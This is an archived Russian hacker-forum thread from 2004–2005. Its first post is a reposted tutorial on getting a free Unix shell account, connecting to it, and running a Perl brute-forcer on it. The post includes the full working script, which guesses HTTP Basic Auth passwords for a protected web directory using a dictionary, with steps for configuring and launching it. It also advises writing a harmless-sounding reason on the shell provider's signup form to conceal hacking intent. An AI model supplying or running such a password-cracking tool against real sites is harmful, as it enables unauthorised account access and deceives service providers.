Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Всё, что вы хотели знать о шеллах, но боялись спросить [:hi:]

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [В Сети] >> Всё, что вы хотели знать о шеллах, но боялись спросить [:hi:]
Имя
Сообщение << Старые топики   Новые топики >>
Всё, что вы хотели знать о шеллах, но боялись спросить [:hi:] - 2004-10-23 13:53:02   
Мemp][is

Сообщений: 407
Оценки: 0
Присоединился: 2004-09-12 20:49:25
У шелла может быть множество разных применений, начиная с удобной работы с файлами на сервере (в случае если шелл был предоставлен хостером) и заканчивая разнообразными взломами через этот шелл. Большинство служб (если их можно так назвать;)), предоставляющих шелл, вместе с ним дают место под сайт. Конечно, его не очень много (хотя всё зависит от конкретного сервера), но зато там разрешают использовать perl, etc, чем может похвастаться не любой бесплатный хостинг…. гм, что-то я увлекся %). Так вот, шелл может оказаться весьма полезной фичей. Почему? Во-первых, канал. На уважающем себя хостинге канал должен быть широкий. Во-вторых, железо. Пень 166 для хостинга не пойдёт %). Следовательно, можно запускать задачи наподобие john (что это такое чуть ниже), требующие мощного проца. Да и вообще, шелл нужен! =) Возникает закономерный вопрос: где же получить бесплатный shell-аккаунт? Идём на http://www.google.com/ и пишем в строке поиска: «UNIX + SHELL + FREE». Нам выдаётся куча ссылок по запросу. Можно, конечно, сидеть, копаться, искать наиболее подходящий для вас шелл, но если делать этого особо не хочется, то вот вам ссылка на наиболее симпатичный мне сайт, где можно получить шелл: http://www.rootshell.be/. К тому же, сервер находится недалеко от Бельгии, что подразумевает достаточно высокую скорость передачи между вами и сервером. Регистрируемся на этом сайте (поля заполнять на буржуйском, e-mail писать ваш, а не чужой;)). В поле «Give a short description of what will be done with your account:» напишите что-нибудь типа «I want create a cool homepage», ну или что-то в этом роде (про хак ничего не писать!%)). На мыло приходит письмо от rootshell.be Support support@rootshell.be с вашим логином, автоматически сгенерированным паролем, хостом, к которому нужно подключаться, и прочей чушью. Если позже захочешь сменить пасс, иди на http://www.rootshell.be/support/, в поле «Login» пиши свой логин, и на твоё мыло придёт новый пароль. Ну всё, зарегались… что делать дальше? Обычно шеллы бывают с доступом по telnet (23 порт) и SSH (22 порт). Если ваш шелл использует первое, тогда для соединения с ним сойдёт виндовая утилита telnet. Находится она в %Директория_с_Виндой%/System32/telnet.exe, ну или Пуск->Выполнить->telnet. Далее расписывать использование telnet не буду, т.к. служба, рассматриваемая мной, использует SSH2. Скажу лишь, что по телнету есть небольшой help в %Директория_с_Виндой%/Help/telnet.chm с командами самой программы, а для управления шеллом используются всё те же команды, что и для SSH. В нашем случае всё немного сложнее, т.к. винда не имеет встроенного SSH-клиента. В инете есть много подходящих софтин, но мне больше нравится Putty (кстати, он поддерживает и telnet). Качаем его, например, отсюда: http://nsd.ru/soft/1/putty.zip. Запускаем Putty.exe и изменяем опции соединения по своему вкусу (ну или по вкусу шелла;)). Напомню, что я расписываю работу с rootshell.be, для других служб настройки будут выглядеть несколько иначе. Во вкладке Session в Host Name пишем «phenix.rootshell.be» и нажимаем SSH. Port должен был смениться на 22. Идём на вкладку Connection->SSH. Preferred SSH protocol version ставим SSH2 only. На вкладке Session сохраняем наши настройки под новым именем и нажимаем Open. Открылось чёрное окно, где нас просят ввести логин. Что ж, вводим%). Далее нужно ввести пароль. Смотрим письмо, пришедшее нам от rootshell.be, и оттуда вводим пароль (обязательно соблюдайте регистр!). Если всё сделано правильно, то через пару секунд ты попадёшь на свой шелл. Если же этого не произошло, попробуй ещё раз, вдруг ты что-то неправильно сделал… Можно пробежаться по тексту, любезно выведенному для нас, там обычно пишут последние новости, связанные с работой сервера. Всё, мы на шелле… Что теперь делать? Да всё то же, что ты делаешь на своём компе, только немного в другой, непривычной форме. Если ты работал в ОС Linux/FreeBSD/OpenBSD/etc, то особых проблем возникнуть не должно… Если же нет, то для начала я бы посоветывал прочитать какую-нибудь книгу по Linux, пусть небольшую, но всё же… В этой статье я не могу описать даже одну милионную часть работы с этой операционкой. Ну ладно, чтобы не грузить тебя, дам пока кое-какие команды, часто используемые «хакерами» на шелле%):
at - указание времени когда выполняется команда
chown - смена хозяина файла
batch - выполнить команду во время загрузки
telnet - клиент телнет
ftp - клиент фтп
rmdir - удалить каталог
finger/who/users - вывести список работающих в системе.
gcc - компилятор C
ftpwho - фингер для фтп
mv - переместить файл
kill - прекратить процесс
cat - текстовой редактор
ls - просмотр каталога
chmod - смена привилегий файлового доступа
rm - удалить файл
id - просмотр прав, т.е.uid и gid
mail - работа с мылом
cd - сменить каталог
cron - демон команд at и batch
logname - получение имени регистрации
cp - копирование чего либо.
uname -a - всё о версии системы.
crontab - задать резервы времени между запусками прог.
ps - ознакомление со списком процессов.
pwcheck - просмотр дефолтового файла пароля.
umask - маска для определённого файла.
su - программа su
sleep - преостановить процесс.
passwd - работа с паролем.
news - отображение usenet
write - мессага текущему юзеру.
uux - выполнить комманды на remote компе
nslookup - сводки гидромедцентра о IP
uucp - копирование файл с/на remote комп
uuname - список хостов UUCP
more - вывод текстовика в постраничном режиме
greg - поиск строки в фйле по заданному ключу
greg -i - то же,без учёта регистра.
uuencode - содание текстовой версии двоичного файла( для мыла)
uudecode – создание двоичной версии текстового файла
tar - создание архивов файлов.
uncompress - получение исходного из сжатого файла.
uptime – время запуска машины.
ping - %) читай man.

Принцип ввода и выполнения команд имеет постоянную схему: команда, ключи, параметры. Например, для просмотра директории командной ls с ключом –la, нужно ввести «ls –la» %)). По большинству команд есть т.н. help, в котором описывается синтаксис вызова команды, ключи, etc. Для вызова вызова help’а по команде ls нужно ввести «ls –help». Так же у многих программ имеется неплохое справочное руководство, которое вызывается следующим образом: man команда. Например, для команды ls его можно получить так «man ls». Дальше расписывать работу с *nix-системами не буду, т.к. всё это есть в любой книге по ним.
Теперь перейдём непосредственно к практике%). По многочисленным просьбам трудящихся опишу работу с брутфорсом. Под Linux существует много разных брутфорсов: и для аси, и для мыла, и для www, и для etc. Наиболее распространенным брутфорсом под *nix является John The Ripper. У него достаточно много функций, написан он на Си… Но его надо устанавливать, чего я не люблю%). Если кому-то интересно, то качайте john’a отсюда: http://www.openwall.com/john/b/john-1.6.tar.gz. Чтобы распаковать его используйте программу tar с нужными параметрами, например, «tar zxvf john-1.6.tar.gz». Чтобы узнать о этой команде всё, юзай «man tar»;). Ах, да, чуть не забыл сказать, как закачать на шелл нужную программу. Для этого есть удобная утилита wget. Для её использования достаточно ввести: wget ссылка_на_файл. В нашем случае это будет «wget http://www.openwall.com/john/b/john-1.6.tar.gz». Кстати, wget умеет закачивать целые сайты… После распаковки заходим в каталог с программой: «cd john-1.6.tar.gz». Если не охота лазить по дирам набивая команды, можно запустить файловый менеджер: «mc». В нём, я думаю, ты и сам разберёшься. Читаем readme, install, etc. После этого особых вопросов в установке и использовании программы возникнуть не должно. Если же они будут, спрашивайте здесь… по возможности ответим%). Сейчас же мы будем юзать перловский брутфорс. Чем он удобен? Его не надо устанавливать! Брутфорсов, написанных на перле, много… используй поисковые службы. Обычно, каждый из них выполняет только определённую функцию, например, только брутит мыло, или только асю, но бывают и исключения. Допустим, ты закачал на шелл какой-нибудь брутфорс, написанный на перле. Как его запустить? Обычно программа на перле – это файл с расширением .pl. Заходи в каталог со скриптом и набивай там команду «perl название.pl». Если же ты хочешь, чтобы программа работала в background’е (это относится не только к брутам, но и к остальным программам), то напиши в конце команды символ &. Например, «perl название.pl &». Для примера, я покажу вам, как использовать перловый брутфорс для запароленных директорий на www, написанный Forb’ом. В этом случае имя пользователя должно быть известно.
—————————————————————————–
#!/usr/bin/perl

## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com
## Modified by sikeirosa: sikeirosa@mail.ru

use MIME::Base64;
use IO::Socket;
use POSIX; ### Подрубаем модули POSIX, Socket и Base64

$server="127.0.0.1"; ### Удаленный сервер
$port="80"; ### Удаленный порт
$dir="/admin"; ### Запароленная директория
$logfile="sucess.log"; ### Логфайл, куда пишем пароль
$log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
$words="bigdict.txt"; ### Словарь (файл с паролями)
$users="users.txt"; ### Имя пользователя

open(file, "<$words") or die print "$!\n";
@pwd_data=;
$total=@pwd_data;
close file; ### Записываем все пароли в один массив

open(file, "<$users") or die print "$!\n";
@users_data=;
$total*=@users_data;
close file; ### Записываем всех пользователей в один массив

$i=0;
foreach $user (@users_data) {
foreach $pass (@pwd_data) {
$i++;
chomp($pass);
chomp($user);
open(file, ">$log") or die print "$!\n";
$perc=($i*100)/$total;
$perc=ceil($perc); ### Высчитываем процент
print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
close file;

$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
chomp($auth);

### Порождаем сокет
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => ''tcp'', Type => SOCK_STREAM) or die print "Unable to connect to $server:$port\n";
print $socket "GET $dir HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Referer: http://support.microsoft.com/\n";
print $socket "User-Agent: Internet Explorer 6.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Authorization: Basic $auth\n";
print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш

$ans=<$socket>; ### Получаем ответ от сервера


if ($ans=~/200 Ok/i or $ans=~/301/i) {
open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог
print logf "$user:$pass is OK!!!\n";
close logf;
}
close($socket);
}
}
—————————————————————————–
Это исходник его брутфорса. Переменные $server, $port, $log, $dir, $logfile, $words, $users необходимо изменить на ваши. Делаем у себя на компе файл brut.pl, вставляем в него код. Также делаем файлы success.log, now.log (оставляем их пустыми). В папку с со всей этой бодягой ложим файл с паролями и переименовываем его на bigdict.txt. И там же создаём файл users.txt и пишем в него имя юзера. Теперь нам нужно закачать всё это на наш шелл. Как это сделать? Можно, конечно, залить файлы на какой-нить сайт, а потом оттуда сливать wget на шелл. Но мы так делать не будем. На rootshell.be есть ftp, через который можно всё это залить к нам в домашнюю директорию. Берём какой-нибудь фтп-клиент, создаём там новое соединение. Имя сервера: ftp.rootshell.be, а логин с паролем те же, что вы используете для доступа к шеллу. Всё, коннектимся туда, заливаем наши файлы в одну папку, например, brut. Теперь коннектимся к шеллу… Видите, там появились наши файлы%). Заходим в нашу папку: «cd brut». И уже там пишем команду «perl brut.pl» или «perl brut.pl &». Всё, процесс пошёл, и если тебе повезёт, то через некоторое время в файле success.log появится правильный пароль;).

З.Ы. Взято с xakepy.ru
Post #: 1
Всё, что вы хотели знать о шеллах, но боялись спросить [:hi:] - 2004-10-31 04:28:13   
KROLOZAVR

Сообщений: 28
Оценки: 0
Присоединился: 2004-07-10 14:34:49
Зарегился вчера на этом сайте. Там написанно, что пароль вышлют через пару часов, а я уже поспать успел…. =(
Post #: 2
Всё, что вы хотели знать о шеллах, но боялись спросить [:hi:] - 2005-06-02 20:24:27   
Folk_91

Сообщений: 52
Оценки: 0
Присоединился: 2005-05-28 21:57:03
Спасибо за инфу по командам в shell
но нигде не мог найти их описания вообщем спасибо за то что выложил их в форум

Но вообщето я по другому вопросу
Вчера захотелпоиметь shell аккаунт на www.cyberspace.org
так вот телнетюсь к нему и в поле login: в вожу newuser
но ничего не происходит он запрашивает пароль
Хотя по идеи эта команда должна помочь зарегестрировать нового пользователя

Если не трудно может Поможешь
-{зарание благодарен

Isq 335218444
e-mail Folk_91@mail.ru
Post #: 3
Страниц:  [1]
Все форумы >> [В Сети] >> Всё, что вы хотели знать о шеллах, но боялись спросить [:hi:]







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.